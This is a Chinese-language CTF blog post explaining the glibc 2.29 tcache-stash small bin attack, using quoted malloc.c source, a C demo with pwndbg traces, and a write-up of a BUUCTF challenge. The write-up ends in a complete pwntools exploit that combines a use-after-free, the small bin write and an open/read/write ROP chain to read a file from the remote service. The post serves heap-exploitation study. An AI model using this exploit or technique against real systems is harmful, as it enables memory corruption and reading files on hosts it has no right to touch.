Glibc-2.29 Small Bin Attack 原理

Glibc -2.23 small bin attack分析

关键代码(/glibc-2.23/malloc/malloc.c:3397):

  /*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */
  if (in_smallbin_range (nb))//nb在不在small bin 范围内
    {
      idx = smallbin_index (nb); //获取nb大小所在得small bin得index
      bin = bin_at (av, idx);//获取对应index的指针

      if ((victim = last (bin)) != bin)//取最后一个chunk的指针和第一个chunk的指针对比
        {//验证改small bin是不是为空
          if (victim == 0) /* initialization check 验证有没有初始化*/
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;//取倒数第二个chunk
    if (__glibc_unlikely (bck->fd != victim))//验证一下fd指针
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }

假如说要在glibc -2.23环境下利用small bin attack,需要伪造一个heap地址来绕过bck->fd != victim,从small bin链中取chunk时,取的是该链的最后一个,最后一个chunk中fd指针必定是main_arena+xxx(libc地址),所以在伪造chunk的时候还需要libc地址,从而实现在伪造chunk的地址上写入libc地址,综上所诉,没什么利用的价值

Glibc -2.29 small bin attack分析

glibc-2.27和2.29相同

glibc2.27中引入tcache机制,malloc操作small bin是和glibc2.23是不一样的

关键代码(/glibc-2.27/malloc/malloc.c:3631):

  /*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

再从small bin中取的时候也检查bck->fd != victim,这里和glibc -2.23是一样的。

取出来之后,如果该small bin链中还有chunk的话,并且该大小的tcache链中没满,则会把small bin链中的chunk转移到tcache中。

漏洞就在这里,在转移的过程中并没有检查chunk的正确性,只是对tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = last (bin)) != bin转移条件进行判断,如果我们可以对已经在small bin中某一个chunk进行写操作的话

bin->bk = bck;
bck->fd = bin;

伪造tc_victim->bk指针的话就可以实现任意地址写上libc地址。

demo:

#include<stdio.h>
#include<stdlib.h>
char my_str[10]={'a','a','a','a','a','a'};
int main()
{
    char *heap[0x20],*sign[0x20];
    int i;
    for(i=0;i<5;i++)
    {
        heap[i]=malloc(0xf0);
    }
    sign[0]=malloc(0x10);
    for(i=0;i<5;i++)
    {
        free(heap[i]);
    }
    for(i=0;i<10;i++)
    {
        heap[i]=malloc(0x400);
        malloc(0x10);
    }
    sign[1]=malloc(0x10);
    for(i=0;i<7;i++)
    {
        free(heap[i]);
    }
    sign[2]=malloc(0x10);
    free(heap[7]);
    malloc(0x300);
    malloc(0x500);

    free(heap[8]);
    malloc(0x300);
    malloc(0x500);

    free(heap[9]);
    malloc(0x300);
    malloc(0x500); 

    calloc(0xf0,0x1);
    printf("Down!");
    return 0;
}

gdb调试,在test.c:40下断点

此时bin的情况如下:

pwndbg> bins
tcachebins
0x100 [  5]: 0xa45660 —▸ 0xa45560 —▸ 0xa45460 —▸ 0xa45360 —▸ 0xa45260 ◂— 0x0
0x410 [  7]: 0xa470a0 —▸ 0xa46c70 —▸ 0xa46840 —▸ 0xa46410 —▸ 0xa45fe0 —▸ 0xa45bb0 —▸ 0xa45780 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x100: 0xa48030 —▸ 0xa47c00 —▸ 0xa477d0 —▸ 0x7fa7ae56ed90 (main_arena+336) ◂— 0xa48030
largebins
empty
pwndbg>

此时我们修改0xa48030的bk指针为my_str的地址

pwndbg> set *(unsigned int *)0xa48048=0x404050
pwndbg> set *(unsigned int *)0xa4804c=0

然后执行calloc(0xf0,0x1);,bin的情况如下:

pwndbg> bins
tcachebins
0x100 [  7]: 0xa48040 —▸ 0xa47c10 —▸ 0xa45660 —▸ 0xa45560 —▸ 0xa45460 —▸ 0xa45360 —▸ 0xa45260 ◂— 0x0
0x410 [  7]: 0xa470a0 —▸ 0xa46c70 —▸ 0xa46840 —▸ 0xa46410 —▸ 0xa45fe0 —▸ 0xa45bb0 —▸ 0xa45780 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x100 [corrupted]
FD: 0xa48030 —▸ 0xa47c10 ◂— 0x0
BK: 0x404050 (my_str) ◂— 0x0
largebins
empty
pwndbg> x/10gx 0x404050
0x404050 <my_str>:  0x0000616161616161  0x0000000000000000
0x404060:   0x00007fa7ae56ed90  0x0000000000000000
0x404070:   0x0000000000000000  0x0000000000000000
0x404080:   0x0000000000000000  0x0000000000000000
0x404090:   0x0000000000000000  0x0000000000000000

可以看出剩下的chunk把tcache bin填满了,并且成功的在my_str内存上写入libc地址

例题-BUUCTF-[2020 新春红包题]3

这道题预期解法是UAF+Small Bin Attack+ROP去读flag
该程序用prctl限制不能直接开shell

 radish ➜ buuoj  chmod 777 RedPacket_SoEasyPwn1 | seccomp-tools dump ./RedPacket_SoEasyPwn1
xynm👼: I am xynm.
xynm👼: I have gained 5 kilograms after Chinese New Year.
xynm👼: But I get a lot of red packets!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

在IDA中审计发现存在UAF

int __fastcall delete(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Please input the red packet idx: ");
  v2 = get_num();
  if ( v2 > 0x10 || !*(16LL * v2 + a1) )
    error();
  free(*(16LL * v2 + a1));
  return puts("Done!");
}

并且程序留有后门函数(存在栈溢出),但是需要通过漏洞在*(qword_4058 + 0x800)写上大于0x7F0000000000的数,并且只有一次修改chunk的机会

ssize_t backdoor()
{
  char buf; // [rsp+0h] [rbp-80h]

  if ( *(qword_4058 + 0x800) <= 0x7F0000000000LL || *(qword_4058 + 0x7F8) || *(qword_4058 + 0x808) )
    error();
  puts("You get red packet!");
  printf("What do you want to say?");
  return read(0, &buf, 0x90uLL);
}

根据题意,我们用small bin attack来修改*(qword_4058 + 0x800),然后用ROP来读取flag即可
EXP:

from pwn import *
import sys
#author:萝卜
context.terminal=['tmux','split','-h']
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '25798'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(index,chunk_size,value):
    ru('Your input: ')
    sl('1')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sl(str(chunk_size))
    ru('Please input content: ')
    sl(value)
def delete(index):
    ru('Your input: ')
    sl('2')
    ru('Please input the red packet idx: ')
    sl(str(index))
def show(index):
    ru('Your input: ')
    sl('4')
    ru('Please input the red packet idx: ')
    sl(str(index))
def edit(index,value):
    ru('Your input: ')
    sl('3')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('Please input content: ')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
# 1.0x10 2.0xf0 3.0x300 4.0x400
for x in range(8):
    create(x,4,"\x44")
    # delete(x)
create(9,1,"\x11")
for x in range(8):
    delete(x)
show(1)
data = rud("Done!")
one_heap_addr = u64(data[:6]+"\x00\x00")-0x10
target_addr = one_heap_addr-0x1010
show(7)
data = rud("Done!")
libc_base = u64(data[:6]+"\x00\x00")-0x1e4ca0
# for x in range(5):

create(0,4,"\x33")
num = [5,6,7,8,9]
for x in num:
    create(x,2,"\x22")
    delete(x)
create(0,4,"\xff")
create(0xf,3,"\x33")
delete(0)
create(1,3,"\x33")
create(0xf,3,"\x33")
create(2,4,"\x44")
create(0xf,3,"\x33")
delete(2)
create(3,3,"\x33")
create(4,4,"\x44")
create(0xf,3,"\x33")
delete(4)
create(5,3,"\x44")
create(0xf,3,"\x33")
payload = "a"*(0x308)+p64(0x101)+p64(one_heap_addr+0x26c0)+p64(target_addr+0x800)
edit(4,payload)
create(0xf,2,"\xff")
payload_addr = one_heap_addr+0x4120
p_rbp = 0x00000000000253a6+libc_base
read_addr = libc.symbols['read']+libc_base
open_addr = libc.symbols['open']+libc_base
write_addr = libc.symbols['write']+libc_base
p_rdi = libc_base+0x0000000000026542
p_rsi = libc_base+0x0000000000026f9e
p_rdx = libc_base+0x000000000012bda6
payload = "/etc/passwd\x00"+"1111"+p64(p_rbp)+p64(payload_addr+0x90)+p64(p_rdi)+p64(payload_addr+0x10)+p64(p_rsi)+p64(0)+p64(p_rdx)+p64(0)+p64(open_addr)
payload += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(read_addr)
payload += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(one_heap_addr)+p64(p_rdx)+p64(0x100)+p64(write_addr)
create(0,4,payload)

ru('Your input: ')
sl("666")
ru("What do you want to say?")
li("one_heap_addr",one_heap_addr)
li("target_addr",target_addr)
li("libc_base",libc_base)
li("payload_addr",payload_addr)
leave_ret_addr = 0x000000000058373+libc_base
payload = "a"*0x80+p64(payload_addr+0x18)+p64(leave_ret_addr)
# debug()
sd(payload)
ri()

参考文献

Dance In Heap(一):浅析堆的申请释放及相应保护机制
ptmalloc——smallbin/largebin/unsortedbin

发表评论

电子邮件地址不会被公开。 必填项已用*标注